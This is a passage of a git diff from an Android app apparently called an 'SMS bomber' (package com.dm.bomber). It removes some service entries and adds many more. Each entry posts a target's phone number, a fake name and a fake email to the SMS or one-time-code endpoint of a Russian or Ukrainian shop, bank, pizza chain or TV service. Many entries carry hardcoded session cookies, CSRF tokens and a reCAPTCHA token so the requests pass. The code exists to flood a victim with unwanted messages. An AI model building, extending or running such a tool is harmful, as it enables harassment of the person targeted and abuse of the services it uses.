- builder.addHeader("Cookie", "XSRF-TOKEN=eyJpdiI6IkZDMFloNzZzRkhBRjhzSTVyaHFWQVE9PSIsInZhbHVlIjoieFNVY0drVGR2blB0UlZBVWY4QjNZSm5DZHdSdDM0WUxpUkZDeW8ydGlxSDdJcnZzYWxITzhCMmJqSlp3Wk5TMmtldEpwdG9NREkwcWdDcUFoRXZvUEEyT1NBL2VSUkRRdTQ1UlA4bkdhVE0xVlBSZW5qWGlPZU5hVUxlRHBjOU8iLCJtYWMiOiI2NDQ2M2VhZTRlMjJhYjg0OGY1ODA5MjVjMGRkNzJkMDQzMGQwZWNmNGIzMDBiZjJiYjdhOTljYzUyNTQ5ZTk3In0%3D; robocredit_session=eyJpdiI6InVyOExObXVjNkdZSFdRdW4zRU5LbWc9PSIsInZhbHVlIjoid0N5NFBYa1EzRW02NDdETlJmSG53eHdDZ1hRaVZLUDRUSUh6aVZmQ2JhSW8xK1NxTjhrd2dMbmtYSWV2OS8remlRNEhnVFlROWZhK2NGekJqcEdrSWJoY3NwNmFVcEpEbmJlWWc3NmRELzFHbW8vVk45K2VEUHRSdkFtem1tYTMiLCJtYWMiOiIxZTcwNTMxOGFkMmI1ZmZlOWNlOTc1Y2I3M2I3ZGUxMDVjZmM2MTVjODkwMzg3YmRlMDg3ZjY1ODgyNTEyNDRhIn0%3D; SERVERID=node01; __cfruid=88814902276cd09899db6bf2f44fdfe49ec80785-1628344822; tmr_reqNum=5; tmr_lvid=a9af81bd62954373fb30b1dbe5852790; tmr_lvidTS=1628344829462; tmr_detect=1%7C1628344829552; _ga=GA1.2.572378467.1628344830; _gid=GA1.2.1844127440.1628344830; _ym_uid=1628344830347478702; _ym_d=1628344830; ec_cache=1cba26dce8b888347624658d3bdfcff49f84d75e0bae3a1850283ec2d9e1eca4; ec_etag=1cba26dce8b888347624658d3bdfcff49f84d75e0bae3a1850283ec2d9e1eca4; __utma=231239964.572378467.1628344830.1628344831.1628344831.1; __utmb=231239964.0.10.1628344863231; __utmc=231239964; __utmz=231239964.1628344831.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); _ym_isad=1; supportOnlineTalkID=FzrLpzswSp3numy4EJfLVCoCkQJaZTF4; _fbp=fb.1.1628344831572.99578837; _ym_visorc=w; ec_png=1cba26dce8b888347624658d3bdfcff49f84d75e0bae3a1850283ec2d9e1eca4; ec_id=1cba26dce8b888347624658d3bdfcff49f84d75e0bae3a1850283ec2d9e1eca4");
- builder.addHeader("Host", "robocredit.ru");
- builder.addHeader("Origin", "https://robocredit.ru");
- builder.addHeader("Referer", "https://robocredit.ru/registration/personal");
- builder.addHeader("Sec-Fetch-Dest", "empty");
- builder.addHeader("Sec-Fetch-Mode", "cors");
- builder.addHeader("Sec-Fetch-Site", "same-origin");
- builder.addHeader("TE", "trailers");
- builder.addHeader("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:90.0) Gecko/20100101 Firefox/90.0");
- builder.addHeader("X-CSRF-TOKEN", "YufMbFkxmcj9sbFGo8MSy11ZLlSPXcQtLRFqjfoZ");
- builder.addHeader("X-Requested-With", "XMLHttpRequest");
- builder.addHeader("X-XSRF-TOKEN", "eyJpdiI6IkZDMFloNzZzRkhBRjhzSTVyaHFWQVE9PSIsInZhbHVlIjoieFNVY0drVGR2blB0UlZBVWY4QjNZSm5DZHdSdDM0WUxpUkZDeW8ydGlxSDdJcnZzYWxITzhCMmJqSlp3Wk5TMmtldEpwdG9NREkwcWdDcUFoRXZvUEEyT1NBL2VSUkRRdTQ1UlA4bkdhVE0xVlBSZW5qWGlPZU5hVUxlRHBjOU8iLCJtYWMiOiI2NDQ2M2VhZTRlMjJhYjg0OGY1ODA5MjVjMGRkNzJkMDQzMGQwZWNmNGIzMDBiZjJiYjdhOTljYzUyNTQ5ZTk3In0=");
-
- return super.buildRequest(builder);
- }
-
- @Override
- public String buildJson() {
- JSONObject json = new JSONObject();
-
- try {
- json.put("phone", format(getFormattedPhone(), "+* (***) ***-****"));
- json.put("email", getEmail());
- json.put("firstName", getRussianName());
- json.put("middleName", getRussianName());
- json.put("lastName", getRussianName());
- json.put("via", "sms");
- } catch (JSONException e) {
- e.printStackTrace();
- }
-
- return json.toString();
- }
-}
diff --git a/app/src/main/java/com/dm/bomber/services/SberMobile.java b/app/src/main/java/com/dm/bomber/services/SberMobile.java
deleted file mode 100644
index e81f3e0..0000000
--- a/app/src/main/java/com/dm/bomber/services/SberMobile.java
+++ /dev/null
@@ -1,27 +0,0 @@
-package com.dm.bomber.services;
-
-import org.json.JSONException;
-import org.json.JSONObject;
-
-public class SberMobile extends JsonService {
-
- public SberMobile() {
- setUrl("https://mobius.sberbank-tele.com/v2/api/gateway/send_password");
- setMethod(POST);
- setPhoneCode("7");
- }
-
- @Override
- public String buildJson() {
- JSONObject json = new JSONObject();
-
- try {
- json.put("number", phone);
- json.put("type", "authorization");
- } catch (JSONException e) {
- e.printStackTrace();
- }
-
- return json.toString();
- }
-}
diff --git a/app/src/main/java/com/dm/bomber/services/SberZvuk.java b/app/src/main/java/com/dm/bomber/services/SberZvuk.java
deleted file mode 100644
index 68225ce..0000000
--- a/app/src/main/java/com/dm/bomber/services/SberZvuk.java
+++ /dev/null
@@ -1,26 +0,0 @@
-package com.dm.bomber.services;
-
-import okhttp3.HttpUrl;
-import okhttp3.Request;
-
-public class SberZvuk extends ParamsService {
-
- public SberZvuk() {
- setUrl("https://zvuk.com/api/tiny/get-otp");
- setMethod(POST);
- }
-
- @Override
- public Request buildRequest(Request.Builder builder) {
- builder.addHeader("User-Agent", "OpenPlay|4.5.4|Android|11|Xiaomi M2010J19SY");
-
- return super.buildRequest(builder);
- }
-
- @Override
- public void buildParams(HttpUrl.Builder builder) {
- builder.addQueryParameter("phone", "+" + getFormattedPhone());
- builder.addQueryParameter("type", "login");
- builder.addQueryParameter("length", "10");
- }
-}
diff --git a/app/src/main/java/com/dm/bomber/services/Services.java b/app/src/main/java/com/dm/bomber/services/Services.java
index 0d5bcf4..858c821 100644
--- a/app/src/main/java/com/dm/bomber/services/Services.java
+++ b/app/src/main/java/com/dm/bomber/services/Services.java
@@ -12,7 +12,6 @@
import okhttp3.Call;
import okhttp3.FormBody;
-import okhttp3.Headers;
import okhttp3.HttpUrl;
import okhttp3.MediaType;
import okhttp3.OkHttpClient;
@@ -50,7 +49,7 @@ public static List getUsableServices(String countryCode) {
new Uchiru(), new Biua(), new MdFashion(), new RiveGauche(),
new XtraTV(), new AlloUa(), new Rulybka(),
new Technopark(), new Call2Friends(), new Profi(),
- new BeriZaryad(), new CardsMobile(), new Labirint(), new SberMobile(), new AutoRu(), new SatUa(),
+ new BeriZaryad(), new CardsMobile(), new Labirint(), new AutoRu(), new SatUa(),
new Melzdrav(), new Fonbet(), new Grilnica(),
new Soscredit(), new ChernovtsyRabota(), new Eva(), new Apteka(),
new Kari(),
@@ -62,45 +61,6 @@ public void buildParams(HttpUrl.Builder builder) {
}
},
- new Service() {
- private final String url = "https://site-api.mcdonalds.ru/api/v1/user/login/phone";
- private final Headers headers = new Headers.Builder()
- .add("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:94.0) Gecko/20100101 Firefox/94.0")
- .build();
-
- @Override
- public void run(OkHttpClient client, Callback callback) {
- client.newCall(new Request.Builder()
- .url(url)
- .headers(headers)
- .method("OPTIONS", null)
- .build()).enqueue(new okhttp3.Callback() {
- @Override
- public void onFailure(@NonNull Call call, @NonNull IOException e) {
- callback.onFailure(call, e);
- }
-
- @Override
- public void onResponse(@NonNull Call call, @NonNull Response response) {
- JSONObject json = new JSONObject();
-
- try {
- json.put("number", "+" + getFormattedPhone());
- json.put("g-recaptcha-response", "03AGdBq24rQ30xdNbVMpOibIqu-cFMr5eQdEk5cghzJhxzYHbGRXKwwJbJx7HIBqh5scCXIqoSm403O5kv1DNSrh6EQhj_VKqgzZePMn7RJC3ndHE1u0AwdZjT3Wjta7ozISZ2bTBFMaaEFgyaYTVC3KwK8y5vvt5O3SSts4VOVDtBOPB9VSDz2G0b6lOdVGZ1jkUY5_D8MFnRotYclfk_bRanAqLZTVWj0JlRjDB2mc2jxRDm0nRKOlZoovM9eedLRHT4rW_v9uRFt34OF-2maqFsoPHUThLY3tuaZctr4qIa9JkfvfbVxE9IGhJ8P14BoBmq5ZsCpsnvH9VidrcMdDczYqvTa1FL5NbV9WX-gOEOudLhOK6_QxNfcAnoU3WA6jeP5KlYA-dy1YxrV32fCk9O063UZ-rP3mVzlK0kfXCK1atFsBgy2p4N7MlR77lDY9HybTWn5U9V");
- } catch (JSONException e) {
- e.printStackTrace();
- }
-
- client.newCall(new Request.Builder()
- .url(url)
- .headers(headers)
- .post(RequestBody.create(json.toString(), MediaType.parse("application/json")))
- .build()).enqueue(callback);
- }
- });
- }
- },
-
new FormService("https://polza.diet/sessions", 7) {
@Override
public void buildBody(FormBody.Builder builder) {
@@ -169,29 +129,6 @@ public void buildBody(FormBody.Builder builder) {
}
},
- new JsonService("https://api.petrovich.ru/api/rest/v1/user/pincode/reg?city_code=rf&client_id=pet_site") {
- @Override
- public Request buildRequest(Request.Builder builder) {
- builder.addHeader("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:94.0) Gecko/20100101 Firefox/94.0");
- builder.addHeader("Cookie", "SNK=124; u__typeDevice=desktop; geoQtyTryRedirect=1; u__geoUserChoose=1; qrator_msid=1638604580.330.8vox5jrGVn8JeE5a-f7j5tbrq8vdc6ae4kths8i52pi66kom8; u__geoCityGuid=d31cf195-2928-11e9-a76e-00259038e9f2; u__cityCode=rf; SIK=fAAAAHRZ8mRMMMkQ4zoJAA; SIV=1; C_o72-jqSdEZI2mxcQ9hjwCsP7WhI=AAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8D8AAIDJKZjpQfJVD28tnILC3BseM5mEUbQ; ssaid=afa34f20-54d7-11ec-9e2a-e50833b98526; dd__lastEventTimestamp=1638604588417; dd__persistedKeys=[%22custom.lastViewedProductImages%22]; dd_custom.lastViewedProductImages=[]; __tld__=null");
-
- return super.buildRequest(builder);
- }
-
- @Override
- public String buildJson() {
- JSONObject json = new JSONObject();
-
- try {
- json.put("phone", getFormattedPhone());
- } catch (JSONException e) {
- e.printStackTrace();
- }
-
- return json.toString();
- }
- },
-
new JsonService("https://api.sunlight.net/v3/customers/authorization/") {
@Override
public String buildJson() {
@@ -223,43 +160,6 @@ public String buildJson() {
}
},
- new FormService("https://www.traektoria.ru/local/ajax/authorize.php?action=2", 7) {
- @Override
- public void buildBody(FormBody.Builder builder) {
- builder.add("phone", getFormattedPhone());
- builder.add("bxsessid", "68eb9e074e9677e3a7a3b4620abdff29");
- builder.add("lid", "tr");
- }
- },
-
- new JsonService("https://ogon.ru/v1/users/auth") {
- @Override
- public Request buildRequest(Request.Builder builder) {
- builder.addHeader("X-App-Name", "Site");
- builder.addHeader("X-App-Version", "1.0.341.2");
- builder.addHeader("X-Domain", "https://ogon.ru");
- builder.addHeader("X-Fingerprint", "f7b509dccd4c01019b3e5ca233a851bb");
- builder.addHeader("X-Pragma", "ReK6+msei8Y7ssRIkKmkrSJERsntCFHPAXmr2XnD4Zs=");
- builder.addHeader("X-Support-SDK", "false");
- builder.addHeader("X-UUID", "3fc54ee8-149e-4677-bbb2-fe5b98912e79");
-
- return super.buildRequest(builder);
- }
-
- @Override
- public String buildJson() {
- JSONObject json = new JSONObject();
-
- try {
- json.put("phone_number", "+" + getFormattedPhone());
- } catch (JSONException e) {
- e.printStackTrace();
- }
-
- return json.toString();
- }
- },
-
new JsonService("https://cnt-vlmr-itv02.svc.iptv.rt.ru/api/v2/portal/send_sms_code") {
@Override
public Request buildRequest(Request.Builder builder) {
@@ -316,23 +216,6 @@ public void onResponse(@NonNull Call call, @NonNull Response response) {
}
},
- new FormService("https://orteka.ru/bitrix/services/main/ajax.php?mode=class&c=orteka:auth.registration&action=confirmPhone", 7) {
- @Override
- public Request buildRequest(Request.Builder builder) {
- builder.addHeader("Cookie", "PHPSESSID=lakj7vcqijs9tpb3e2mstens6b; ABtestCart=261298; BITRIX_SM_SALE_UID=4daefd46dbc267e59b1bd566fe4c30e3; BITRIX_CONVERSION_CONTEXT_s1=%7B%22ID%22%3A2%2C%22EXPIRE%22%3A1640379540%2C%22UNIQUE%22%3A%5B%22conversion_visit_day%22%5D%7D; tracking=; ssaid=cf31d6b0-64de-11ec-9520-b133cea34249; __tld__=null; _userGUID=0:kxko2vjy:dwfdz3WqmnxkeyIxYM079_My9XvrFucY; k50uuid=4901ac77-8404-4bd9-9839-cc912ae34604; k50lastvisit=2be88ca4242c76e8253ac62474851065032d6833.da39a3ee5e6b4b0d3255bfef95601890afd80709.54b4f71d35b40b9bde5abe49d6744bc4caa2ebbf.da39a3ee5e6b4b0d3255bfef95601890afd80709.1640366867727; k50sid=fc9e4f6c-a04e-46d9-863b-dacfc75bc5a8; dSesn=4a23c994-2b9a-72ea-e365-5d13bc7b2bee; _dvs=0:kxko2vjy:gvnTKh7Lqf4~ZiAn1njx3nLEYrfRcrIE; __ar_v_id=0oDEExrKUIXsA0QGC-AWF3; __ar_d_id=e8ueNh1qpb8j3Tz3zo6k5Q; __ar_si=%7B%22t%22%3A%222021-12-24T17%3A27%3A49.295Z%22%2C%22c%22%3A1%2C%22p%22%3A%5B%5D%2C%22ct%22%3A%5B%5D%2C%22q%22%3A%22%22%7D");
-
- return super.buildRequest(builder);
- }
-
- @Override
- public void buildBody(FormBody.Builder builder) {
- builder.add("signedParameters", "");
- builder.add("query[phone]", format(phone, "+7 (***) ***-**-**"));
- builder.add("SITE_ID", "s1");
- builder.add("sessid", "b4f37bbc68c502a6f442db031b3b65ea");
- }
- },
-
new Service(380) {
@Override
public void run(OkHttpClient client, Callback callback) {
@@ -636,22 +519,6 @@ public void buildParams(HttpUrl.Builder builder) {
}
},
- new JsonService("https://vyksa.fitauto.ru/users.getsmscode.fn", 7) {
- @Override
- public String buildJson() {
- JSONObject json = new JSONObject();
-
- try {
- json.put("phone", phone);
- json.put("token", "QJB68LnzWeFWphIwFSNW0oEiqDmKKc8lJ8TbU7Wm");
- } catch (JSONException e) {
- e.printStackTrace();
- }
-
- return json.toString();
- }
- },
-
new ParamsService("https://m.avtoall.ru/cart/order/api/phone", 7) {
@Override
public Request buildRequest(Request.Builder builder) {
@@ -667,30 +534,6 @@ public void buildParams(HttpUrl.Builder builder) {
}
},
- new JsonService("https://dnipro-m.ua/phone-verification/") {
- @Override
- public Request buildRequest(Request.Builder builder) {
- builder.addHeader("x-csrf-token", "2Ame-KM1DXP3ATTtBQ1ks-pj771B-P6hyQMiztAeYkLoZ8qOwGVDJJxScIY1PRDfnAWr9QSvie2cUXCNqlI9LA==");
- builder.addHeader("Cookie", "PHPSESSID=rshi0gctd3nsddcs58l865tu6q; session_hash=8d5affc2cad1a00ddfe8fa3f067e13b8; ab_1=2; logged_in_as=c38cdce2f7ef0094f910220849aee84a3613eb500f51202d492282b1d416cf91a%3A2%3A%7Bi%3A0%3Bs%3A12%3A%22logged_in_as%22%3Bi%3A1%3BN%3B%7D; manager_store=9f8a6a348bfddc4e1484e8c2b620e744a46020143d5011858217908bfa12f43ca%3A2%3A%7Bi%3A0%3Bs%3A13%3A%22manager_store%22%3Bi%3A1%3BN%3B%7D; language=1f1c77ed088a525c9d9a3ee0075b68d6a50c75278eb07b95c9c6c8adf4633886a%3A2%3A%7Bi%3A0%3Bs%3A8%3A%22language%22%3Bi%3A1%3Bs%3A2%3A%22ru%22%3B%7D; translations_pushed=92f83c1f3a434aeae744854c974cdb236df315cbe39e518ed7234b1ea9a0cd88a%3A2%3A%7Bi%3A0%3Bs%3A19%3A%22translations_pushed%22%3Bi%3A1%3Bi%3A1%3B%7D; _csrf-frontend=8ed0eca3dbc58c275be1804686501b2aa4c60f1f562d2e2098d3651b66a2af18a%3A2%3A%7Bi%3A0%3Bs%3A14%3A%22_csrf-frontend%22%3Bi%3A1%3Bs%3A32%3A%220nTvcPNWkSDk00tlvfDHEWwLURRCzL_n%22%3B%7D; _gcl_au=1.1.439638018.1644856370; _gid=GA1.2.162073021.1644856370; _dc_gtm_UA-87493814-1=1; sc=3E8EF674-EB02-A8ED-92DC-DA62D3B448B9; _fbp=fb.1.1644856370513.191414281; _hjSessionUser_1116764=eyJpZCI6IjExMzBlN2U4LWFhODAtNTRlZi1iODY2LWIyMDgzMWViNjVmOCIsImNyZWF0ZWQiOjE2NDQ4NTYzNzExMjUsImV4aXN0aW5nIjpmYWxzZX0=; _hjFirstSeen=1; _hjIncludedInSessionSample=0; _hjSession_1116764=eyJpZCI6ImZjYzMyNmRhLTNkZTUtNGM1ZC1iMTE2LTVjNjNhN2JlNmQ5MSIsImNyZWF0ZWQiOjE2NDQ4NTYzNzExNTYsImluU2FtcGxlIjpmYWxzZX0=; _hjIncludedInPageviewSample=1; _hjAbsoluteSessionInProgress=0; _ga_1QMTESJ6M0=GS1.1.1644856371.1.0.1644856371.60; _ga=GA1.2.683370447.1644856370; _gat_UA-87493814-1=1; csfp=47a8c34d1a498bd8daee7742cb48c821");
- builder.addHeader("x-requested-with", "XMLHttpRequest");
-
- return super.buildRequest(builder);
- }
-
- @Override
- public String buildJson() {
- JSONObject json = new JSONObject();
-
- try {
- json.put("phone", getFormattedPhone());
- } catch (JSONException e) {
- e.printStackTrace();
- }
-
- return json.toString();
- }
- },
-
new JsonService("https://api.raketaapp.com/v1/auth/otps?ngsw-bypass=true") {
@Override
public String buildJson() {
@@ -739,7 +582,7 @@ public String buildJson() {
}
},
- new FormService("https://client.taximaxim.com/ru-RU/site/send-code/?tax-id=yFL33BWu8yOEhqH0C0bV8BfGWKFjFba7Sxdwcdfppe71sHd4uxidkbS5%2B%2BYzBsW%2BiAH1yXFh2Na5bJdvZaNNTNRa6w%2BY1xpwqd1XUGEIcJc%3D") {
+ new FormService("https://client.taximaxim.com/ru-RU/site/send-code/?tax-id=yFL33BWu8yOEhqH0C0bV8BfGWKFjFba7Sxdwcdfppe71sHd4uxidkbS5%2B%2BYzBsW%2BiAH1yXFh2Na5bJdvZaNNTNRa6w%2BY1xpwqd1XUGEIcJc%3D", 7) {
@Override
public void buildBody(FormBody.Builder builder) {
builder.add("_csrf", "kxA-oV0mlFWdBCIB7ILw3rimGOLKolF08U3T-xRAHODhR27nE3LDANN1Flmt27uT7tZVpqHsJhCmAJ-OLAMurw==");
@@ -785,5 +628,254 @@ public void run(OkHttpClient client, Callback callback) {
.build()).enqueue(callback);
}
},
+
+ new FormService("https://www.proficosmetics.ru/bitrix/services/main/ajax.php?mode=ajax&c=krasivoereshenie%3Auser.auth&action=registrationPhone", 7) {
+ @Override
+ public void buildBody(FormBody.Builder builder) {
+ builder.add("phone", format(phone, "+7 (***) *** ** **"));
+ builder.add("SITE_ID", "s1");
+ builder.add("sessid", "36fe01e7abb0ece7340aadfaed7363f3");
+ }
+ },
+
+ new JsonService("https://www.585zolotoy.ru/api/sms/send_code/", 7) {
+ @Override
+ public String buildJson() {
+ JSONObject body = new JSONObject();
+
+ try {
+ body.put("phone", getFormattedPhone());
+ } catch (JSONException e) {
+ e.printStackTrace();
+ }
+
+ return body.toString();
+ }
+
+ @Override
+ public Request buildRequest(Request.Builder builder) {
+ builder.header("cookie", "auth.strategy=local; zolotoy_region=a93acc32-8ed4-48ed-b105-abd0eb856021; cart=%5B%5D; tmr_lvid=0e8918021767e8431f23fa2fe35746f2; tmr_lvidTS=1648231746822; tmr_reqNum=3; _ym_uid=1648231747833371635; _ym_d=1648231747; _ym_isad=2; _ym_visorc=w; _fbp=fb.1.1648231747318.1464872086; tmr_detect=0%7C1648231749515");
+ builder.header("x-qa-client-type", "web");
+ builder.header("x-qa-company", "3e6efe10-defd-4983-94a1-c5a4d3cb3689");
+ builder.header("x-qa-region", "a93acc32-8ed4-48ed-b105-abd0eb856021");
+
+ return super.buildRequest(builder);
+ }
+ },
+
+ new FormService("https://superpizzaplus.ru/sms/send/", 7) {
+ @Override
+ public void buildBody(FormBody.Builder builder) {
+ builder.add("phone", format(phone, "+7 (***) ***-**-**"));
+ }
+ },
+
+ new Service(7) {
+ @Override
+ public void run(OkHttpClient client, Callback callback) {
+ client.newCall(new Request.Builder()
+ .url("https://www.ddpizza.ru/local/ajax/register_code.php")
+ .post(RequestBody.create("------WebKitFormBoundaryi0rC4HVk4ofOLSUA\n" +
+ "Content-Disposition: form-data; name=\"sessid\"\n" +
+ "\n" +
+ "5bd7212ba192e8d2b80ba99f98b108e4\n" +
+ "------WebKitFormBoundaryi0rC4HVk4ofOLSUA\n" +
+ "Content-Disposition: form-data; name=\"NAME\"\n" +
+ "\n" +
+ getRussianName() +
+ "\n------WebKitFormBoundaryi0rC4HVk4ofOLSUA\n" +
+ "Content-Disposition: form-data; name=\"PERSONAL_PHONE\"\n" +
+ "\n" +
+ format(phone, "+7 (***) ***-**-**") +
+ "\n------WebKitFormBoundaryi0rC4HVk4ofOLSUA\n" +
+ "Content-Disposition: form-data; name=\"MAIL\"\n" +
+ "\n" +
+ getEmail() +
+ "\n------WebKitFormBoundaryi0rC4HVk4ofOLSUA--",
+ MediaType.parse("multipart/form-data; boundary=----WebKitFormBoundaryi0rC4HVk4ofOLSUA")))
+ .build()).enqueue(callback);
+ }
+ },
+
+ new FormService("https://luckycosmetics.ru/index.php?route=module/smsverification/generate", 7) {
+ @Override
+ public void buildBody(FormBody.Builder builder) {
+ builder.add("phone", format(phone, "+7 (***) ***-**-**"));
+ builder.add("registered", "0");
+ }
+
+ @Override
+ public Request buildRequest(Request.Builder builder) {
+ builder.addHeader("Cookie", "PHPSESSID=43jda9rgnctmidr9s4skhdskr1; _lucky_ident=7cc59b449f01cc6473162f381817b842; _lucky_uid=19717157; _ga=GA1.2.440536502.1648574015; _gid=GA1.2.1766371184.1648574015; _gat=1; tmr_lvid=0db3fa1830a9673dcd291c816c94ff21; tmr_lvidTS=1648574015329; tmr_reqNum=3; _dc_gtm_UA-15256516-4=1; _fbp=fb.1.1648574015618.1527744418; _ym_uid=1648574016350694378; _ym_d=1648574016; _ym_isad=2; _ym_visorc=w; cto_bundle=Faosxl9EVnp3eW1hc29CWDhuNE95TmFkajFYNENVeVd0cndaeGdzaHR4OUFjNFhwNnVMSEhPcUF6bzc4WDNIUkxTeDc5dGRXMVZsSUZSTCUyRjRvMkp3TVF2MGROdVpCVDVnYk5MT2V6VThNVHQ2dHVSOE5aZlg5RkxGeVFKTnBjN2JaWE02bWN5YUplcUV5azlCYkIwYWZLcCUyQlNRJTNEJTNE; tmr_detect=0%7C1648574018130; language=ru; currency=RUB; banner_view=s1; banner_time=1648575819940");
+ builder.addHeader("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36 Edg/99.0.1150.550");
+ return super.buildRequest(builder);
+ }
+ },
+
+ new FormService("https://www.kristall-shop.ru/ajaxer.php?x=personal", 7) {
+ @Override
+ public void buildBody(FormBody.Builder builder) {
+ builder.add("action", "sms_send");
+ builder.add("phone", format(phone, "+7 (***) ***-**-**"));
+ builder.add("csrf_token", "bf365b62acb4b358b42e38d45f060acf");
+ }
+
+ @Override
+ public Request buildRequest(Request.Builder builder) {
+ builder.addHeader("Cookie", "PHPSESSID=ksstkdlpk2qo7dgtcfjo6hup01; user_source=direct; user_id=24faa4ade96af13b1351fa01cd5b5a7b; user_type=client; city=1; _ga=GA1.2.2017371052.1648576559; _gid=GA1.2.1857337036.1648576559; _ym_uid=164857656046395673; _ym_d=1648576560; tmr_lvid=e8ab35ae3db9b36f8a001f6d153c8e62; tmr_lvidTS=1648576559651; _ym_isad=2; _ym_visorc=w; _lhtm_u=62432d0084bf4d7c0811aef7; _lhtm_r=direct|5fc5f2e04b0c685e1823b1e5; _fbp=fb.1.1648576560720.54969929; _ym_mailid=e9f2c96e4185b4e8fc4f10ce4b193ced; _gucid=fc4f10ce4b193cede9f2c96e4185b4e8; viewed_pages=2; cto_bundle=1gbT3193bGp5bXhncEU3NjJKQVlQcFp5VlZ0R1hKOEVmYURRaXowaWRjQ3NyMm9YWCUyRmVTQWV1YjNHREVPaEc4SmN5c3FtTmk3YjU5cmZMYmpuOGRvRFBXM3gwTzZ1cktnJTJGOXJ4RlM3eUk5dTNDWXBGRmglMkZLSVZvNTdYcnAlMkJOQjU5Tko1ekNXOVVOQkxhcVczdXNMV1I0WjNUUSUzRCUzRA; lh_widget_system_pages_counter=1; tmr_detect=0%7C1648576565533; tmr_reqNum=7");
+
+ return super.buildRequest(builder);
+ }
+ },
+
+ new FormService("https://www.freak-butik.ru//class/ajax/client.php") {
+ @Override
+ public void buildBody(FormBody.Builder builder) {
+ builder.add("command", "getsmscode");
+ builder.add("phone", getFormattedPhone());
+ }
+ },
+
+ new FormService("https://www.shoppinglive.ru/phone-verification/send-code") {
+ @Override
+ public void buildBody(FormBody.Builder builder) {
+ builder.add("mobilePhone", phone);
+ builder.add("CSRFToken", "18bf5372-4e8f-4c40-b237-a1ea07c41413");
+ }
+
+ @Override
+ public Request buildRequest(Request.Builder builder) {
+ builder.addHeader("Cookie", "JSESSIONID=900CE92657D631AB408E439D9AAC572F.accstorefront-7c7746598b-nww96; anonymous-consents=%5B%5D; abtc=84BCE317637B64F7A6164857734642551106; abtc-text-button_2=default_text; abtc-story-test_5=story_exist; abtc-checkout-button_2=active_button; abtc-crm-test_0=default_crm; exp_id=default_text/story_exist/active_button/default_crm; cookie-notification=NOT_ACCEPTED; ROUTE=.accstorefront-7c7746598b-nww96; AKA_A2=A; akaas_sn_www_shoppinglive_ru=2147483647~rv=66~id=f9202e7b2e9c827369633985376f5a40~rn=Traffic%20Shift%20RU%20clone%201; RT=\"z=1&dm=shoppinglive.ru&si=1g0wsxymb27&ss=l1cgdymi&sl=0&tt=0\"; flocktory-uuid=d0d24a9e-0aa2-4161-9006-0e69da2a98d5-9; ssaid=58c7d950-af8b-11ec-b126-c993c2c22298; __tld__=null; _ga=GA1.2.1376708877.1648577357; _gid=GA1.2.83689607.1648577357; _gat_ddl=1; tmr_lvid=df86e93f60ef56b5b2563fddae9af54d; tmr_lvidTS=1648577357069; _gat_UA-25432719-1=1; _gcl_au=1.1.625582745.1648577357; advcake_trackid=de0c23dc-4413-8d20-1f5f-ca72e25463d2; advcake_session_id=a6f0e701-46ff-aabf-5979-561fc153bb0f; rrpvid=27373519974644; _fbp=fb.1.1648577357656.174608709; rcuid=61fc0f0fd6d3b0000109d97d; cto_bundle=F2AxU180WDk0akklMkJjaUdqWXFiMHVPMWp4anYxbTZURnduY1Z4MHN3Z2ZDM0k4Nkx5Vkw5Yk5YaHMwS2U2MkhyN1lodmVDZ3VBa2c0Y3pSNlpQREhlckJPSzh1Q212JTJCQ3ZCeTFHNlQlMkY0Q1V0a2J2cWtrNVlDMSUyQmZrR29uS2wwcU5HWHhCZGolMkJXJTJCNnQlMkJPdHdseCUyQld4blVRYVp3JTNEJTNE; tmr_reqNum=2; _ubtcuid=cl1cge70e00003patej2a9krw; _sp_ses.5ac9=*; _sp_id.5ac9=baec6278-4c03-4bc9-8de0-d595c834b54a.1648577360.1.1648577360.1648577360.0c9a7a88-cc1c-4495-bb96-ccbbc12eae45; tmr_detect=0%7C1648577366537; _gali=login-phone-form");
+
+ return super.buildRequest(builder);
+ }
+ },
+
+ new JsonService("https://saratov.kolesa-darom.ru/ajax/user/register") {
+ @Override
+ public String buildJson() {
+ JSONObject body = new JSONObject();
+
+ try {
+ body.put("phoneNumber", getFormattedPhone());
+ body.put("approveRule", true);
+ body.put("step", new JSONObject()
+ .put("requestCode", "requestCode"));
+ } catch (JSONException e) {
+ e.printStackTrace();
+ }
+
+ return body.toString();
+ }
+ },
+
+ new FormService("https://www.banki.ru/ng/api/v1.0/public/auth/send-otp/") {
+ @Override
+ public void buildBody(FormBody.Builder builder) {
+ builder.add("phone", "+" + getFormattedPhone());
+ builder.add("isRulesAccepted", "true");
+ builder.add("isAdAccepted", "false");
+ }
+ },
+
+ new FormService("https://zvonok.com/api/demo/", 7) {
+ @Override
+ public void buildBody(FormBody.Builder builder) {
+ builder.add("csrfmiddlewaretoken", "IR473RdCuTdFJyh1O2PXgiiYrI6DNQFmHiagLFAXOsMlDMdh2DsxuZuEEeOT3kCs");
+ builder.add("type", "confirm");
+ builder.add("phone", format(phone, "+7 (***)***-**-**"));
+ }
+ },
+
+ new FormService("https://voice.mobilgroup.ru/regEvent.php", 7) {
+ @Override
+ public void buildBody(FormBody.Builder builder) {
+ builder.add("event", "register");
+ builder.add("number", format(phone, "+7(***)***-**-**"));
+ builder.add("email", getEmail());
+ }
+
+ @Override
+ public Request buildRequest(Request.Builder builder) {
+ builder.addHeader("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36 Edg/99.0.1150.55");
+
+ return super.buildRequest(builder);
+ }
+
+ },
+
+ new Service() {
+ @Override
+ public void run(OkHttpClient client, Callback callback) {
+ client.newCall(new Request.Builder()
+ .url("https://tv.yota.ru/")
+ .get().build()).enqueue(new okhttp3.Callback() {
+ @Override
+ public void onFailure(@NonNull Call call, @NonNull IOException e) {
+ callback.onFailure(call, e);
+ }
+
+ @Override
+ public void onResponse(@NonNull Call call, @NonNull Response response) {
+ JSONObject json = new JSONObject();
+
+ try {
+ json.put("msisdn", getFormattedPhone());
+ json.put("password", "91234657");
+ } catch (JSONException e) {
+ e.printStackTrace();
+ }
+
+ try {
+ client.newCall(new Request.Builder()
+ .url("https://bmp.tv.yota.ru/api/v10/auth/register/msisdn")
